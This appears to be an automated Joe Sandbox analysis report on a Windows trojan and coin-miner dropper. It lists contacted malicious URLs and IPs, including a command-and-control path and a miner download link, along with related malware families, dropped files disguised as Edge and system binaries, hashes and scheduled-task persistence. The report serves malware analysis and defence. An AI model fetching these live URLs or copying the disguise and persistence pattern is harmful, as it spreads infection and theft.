https://eijfrhegrtbrfcd.online:443/iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1	loader_5879465914.exe, 00000007.00000003.2632263244.000000000377B000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2425064392.0000000000802000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2481189507.0000000003743000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2496432695.0000000003743000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2481058326.0000000003743000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/7737D9ECF5C72AA370644	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedJ	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://eijfrhegrtbrfcd.online/download/miner2.0.exePz	curl.exe, 00000052.00000002.2619013349.000001DFDEF47000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.187.100	eijfrhegrtbrfcd.online	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
140.82.121.3	github.com	United States	36459	GITHUBUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520638
Start date and time:	2024-09-27 17:40:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	208
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@314/69@4/4
EGA Information:	Successful, ratio: 15.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 7712 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 7728 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7528 because it is empty
Execution Graph export aborted for target miner2.0.exe, PID 5868 because it is empty
Execution Graph export aborted for target services64.exe, PID 6264 because it is empty
Execution Graph export aborted for target services64.exe, PID 6976 because it is empty
Execution Graph export aborted for target sihost64.exe, PID 7008 because it is empty
Execution Graph export aborted for target sihost64.exe, PID 7844 because it is empty
Execution Graph export aborted for target svchost64.exe, PID 5992 because it is empty
Execution Graph export aborted for target svchost64.exe, PID 6772 because it is empty
Execution Graph export aborted for target svchost64.exe, PID 7732 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:42:01	API Interceptor	585084x Sleep call for process: axplong.exe modified
11:42:06	API Interceptor	82x Sleep call for process: loader_5879465914.exe modified
11:42:09	API Interceptor	58x Sleep call for process: Microsoft-Edge.exe modified
11:42:34	API Interceptor	211x Sleep call for process: powershell.exe modified
11:42:47	API Interceptor	21x Sleep call for process: svchost64.exe modified
11:42:47	API Interceptor	6x Sleep call for process: sihost64.exe modified
16:41:04	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
16:42:07	Task Scheduler	Run new task: Microsoft Edge path: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe
16:42:39	Task Scheduler	Run new task: services64 path: "C:\Windows\system32\services64.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.187.100	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16/soka/random.exe
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	185.215.113.16/Jo89Ku7d/index.php
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
eijfrhegrtbrfcd.online	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
github.com	PO#518464.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	PO#518464.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Proof Of Payment.js	Get hash	malicious	STRRAT	Browse	140.82.121.3
	Product Specification Wire-Mesh RQF 260924.sc.exe	Get hash	malicious	STRRAT	Browse	140.82.121.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.5-1/rubyinstaller-devkit-3.3.5-1-x64.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	PO#518464.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	PO#518464.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Proof Of Payment.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.5-1/rubyinstaller-devkit-3.3.5-1-x64.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://telagremn.com/	Get hash	malicious	Unknown	Browse	140.82.114.22
	https://arjunshaw.github.io/4.7-Project-1-Netflix-/	Get hash	malicious	HTMLPhisher	Browse	140.82.112.21
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse	140.82.114.22
	Product Specification Wire-Mesh RQF 260924.sc.exe	Get hash	malicious	STRRAT	Browse	140.82.121.4
	https://tokenp0kczt.net/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.6
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.PackedNET.3065.20099.26130.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
	https://effective-teammates-567500.framer.app/	Get hash	malicious	HTMLPhisher	Browse	172.65.208.22
	ATT71817.docx	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	FoS5cjKhd3.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.162.108
	https://www.google.fr/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fcasaderestauraciononline.com%2Fholy%2Findexsyn1.html%23cmltYS5hbWV1ckBjYXRhbGluYW1hcmtldGluZy5mcg==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	0225139776.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://changeofscene.ladesk.com/605425-Secure-Business-Documen	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://careeligibility.vercel.app/chubedan	Get hash	malicious	HTMLPhisher	Browse	172.67.75.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	kYpONUhAR5.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.187.100
	Setup_10024.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	ha9wYxkNI7.lnk	Get hash	malicious	XWorm	Browse	172.67.187.100
	9KO1ScZ376.lnk	Get hash	malicious	XWorm	Browse	172.67.187.100
	U4hM4c3l4m.lnk	Get hash	malicious	Unknown	Browse	172.67.187.100
	f1w58Se3jL.lnk	Get hash	malicious	Unknown	Browse	172.67.187.100
	6EFA6YABDc.lnk	Get hash	malicious	Unknown	Browse	172.67.187.100
	1ehTzqaTXV.lnk	Get hash	malicious	Unknown	Browse	172.67.187.100
	Document.pdf.lnk	Get hash	malicious	Bitter Elephant	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Trojan.PackedNET.3065.20099.26130.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.3
	https://effective-teammates-567500.framer.app/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://main.d3engbxc9elyir.amplifyapp.com/	Get hash	malicious	Unknown	Browse	140.82.121.3
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	140.82.121.3
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.3
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.3
	http://polskie-torrenty.eu/redir.php?url=https://globalfinanceweb.com%2FProfile%2Fluig%2Fnzx0k%2FmProtect.html%23abrumley@highlandfunds.com	Get hash	malicious	Unknown	Browse	140.82.121.3
	file.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	file.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	rQuotation3200025006.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.3
a0e9f5d64349fb13191bc781f81f42e1	FoS5cjKhd3.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.187.100
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	bfINGx7hvL.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	kewyIO69TI.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	bfINGx7hvL.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	172.67.187.100
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	172.67.187.100
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	172.67.187.100

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse
C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse
C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\miner2.0.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\miner2.0.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services64.exe.log

Download File

Process:	C:\Windows\System32\services64.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sihost64.exe.log

Download File

Process:	C:\Windows\System32\Microsoft\Libs\sihost64.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	443
Entropy (8bit):	5.347274615985407
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1WzAbDLI4MNepQZav:ML9E4KQMsXE4Npv
MD5:	F73EF0CF34F9748349B7DC26D23369A1
SHA1:	9F1AA6A1896EE82B13E910AFF27CB179ECAA77B5
SHA-256:	6B8272C1059743AA45FBEB2E303FEFB6F591D3D374FB78252432881E38E21EFD
SHA-512:	C848DEE56D1BB8ABED56C0424879344F852BFA5147D529183A66C98BC303C225DCF5D7ADCF6B25B4946D0ED14023E0B5DB7D2A2C2789727949478DE64A4BAA13
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost64.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	646
Entropy (8bit):	5.350532275588425
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1WzAbDLI4MNepQZaDAWDLI4MWuCDAZDLI4MWuCv:ML9E4KQMsXE4Np/E4K9E4Ks
MD5:	D9CA89A021349720070D9515234EA98F
SHA1:	6250FA94AB1D87D655C60185FACC639EE1E0B929
SHA-256:	08757D7C558DCA49E7A21644675009292CBA4DF6624FB85B6DF0E90E7198D6A4
SHA-512:	5419EACD79DF0BAA7A3CEB5FCC4AA85FC882081C2B6793219F296B9649FE5BC6884FD6F64199FB7C411443DA1D44C79CD129B9AB1CBA22E656A5C91DF92F0F05
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	435820
Entropy (8bit):	5.87360608417321
Encrypted:	false
SSDEEP:	6144:xUqYwuIRcCdb4vngCuoyGIlAkAzQXIwWNQBUh7g600NifMohIUiaBQv2kzmOWw:xUXCio4yLC1k5Gq0o0a8FrWw
MD5:	7DF3608AE8EA69762C71DA1C05F0C043
SHA1:	164A36D4822BE3FD4111CDEF5CECAD5F19024564
SHA-256:	ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
SHA-512:	E1AF2E687457B9866FD059D0E6AA50054456CDCC0E7FAE1CC4DA7E44312CD5663C38C13999A08E5585077176279CD83B8B6AEF93AA6FE68AD74A5FAADE5295CE
Malicious:	true
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........'......6....................@.....................................l.....`... ..........................................................E......x...........................................@h..(.......................`............................text...X5.......6..................`.P`.data........P.......<..............@.P..rdata.......`.......>..............@.`@.pdata..x............P..............@.0@.xdata...............T..............@.0@.bss..................................`..idata...............X..............@.0..CRT....h............j..............@.@..tls.................l..............@.@..rsrc....E.......F...n..............@.0./4...........@......................@..B/19..........P......................@..B/31......)..........J..............@..B/45......(..........t..............@..B/57..........@......................@.@B/70.....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	435820
Entropy (8bit):	5.87360608417321
Encrypted:	false
SSDEEP:	6144:xUqYwuIRcCdb4vngCuoyGIlAkAzQXIwWNQBUh7g600NifMohIUiaBQv2kzmOWw:xUXCio4yLC1k5Gq0o0a8FrWw
MD5:	7DF3608AE8EA69762C71DA1C05F0C043
SHA1:	164A36D4822BE3FD4111CDEF5CECAD5F19024564
SHA-256:	ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
SHA-512:	E1AF2E687457B9866FD059D0E6AA50054456CDCC0E7FAE1CC4DA7E44312CD5663C38C13999A08E5585077176279CD83B8B6AEF93AA6FE68AD74A5FAADE5295CE
Malicious:	true
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........'......6....................@.....................................l.....`... ..........................................................E......x...........................................@h..(.......................`............................text...X5.......6..................`.P`.data........P.......<..............@.P..rdata.......`.......>..............@.`@.pdata..x............P..............@.0@.xdata...............T..............@.0@.bss..................................`..idata...............X..............@.0..CRT....h............j..............@.@..tls.................l..............@.@..rsrc....E.......F...n..............@.0./4...........@......................@..B/19..........P......................@..B/31......)..........J..............@..B/45......(..........t..............@..B/57..........@......................@.@B/70.....

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1862656
Entropy (8bit):	7.950142025223752
Encrypted:	false
SSDEEP:	49152:Rf036dyCkdyKg1Il+5elMr8JYPDaLObL:R06dyR9oIlFlMr5V
MD5:	DC730EEA0EBA910485703A74D173F8E2
SHA1:	093F63548D7366B6C3CBFC3DDFCA453199E40ECA
SHA-256:	18894A1A879E0E75C33EC7988C8835B20B42A3FAE8C51F1CB4F026F2B855A6B7
SHA-512:	F1726FAE08F206B07AC87ECF890059E98B110A1DB0C72ADD91B89EBBBB5E8D431AACFE31C37028DB3CF52EEFB7A6BDFC137122B82C7B10DD87E6800A641F933D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@..........................@J..........@.................................W...k.............................I...............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...nataabbx.`....0..R..................@...ijueevze......J......F..............@....taggant.0....J.."...J..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	435820
Entropy (8bit):	5.87360608417321
Encrypted:	false
SSDEEP:	6144:xUqYwuIRcCdb4vngCuoyGIlAkAzQXIwWNQBUh7g600NifMohIUiaBQv2kzmOWw:xUXCio4yLC1k5Gq0o0a8FrWw
MD5:	7DF3608AE8EA69762C71DA1C05F0C043
SHA1:	164A36D4822BE3FD4111CDEF5CECAD5F19024564
SHA-256:	ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
SHA-512:	E1AF2E687457B9866FD059D0E6AA50054456CDCC0E7FAE1CC4DA7E44312CD5663C38C13999A08E5585077176279CD83B8B6AEF93AA6FE68AD74A5FAADE5295CE
Malicious:	true
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........'......6....................@.....................................l.....`... ..........................................................E......x...........................................@h..(.......................`............................text...X5.......6..................`.P`.data........P.......<..............@.P..rdata.......`.......>..............@.`@.pdata..x............P..............@.0@.xdata...............T..............@.0@.bss..................................`..idata...............X..............@.0..CRT....h............j..............@.@..tls.................l..............@.@..rsrc....E.......F...n..............@.0./4...........@......................@..B/19..........P......................@..B/31......)..........J..............@..B/45......(..........t..............@..B/57..........@......................@.@B/70.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02hfu414.g3e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jx2i0vc.koj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
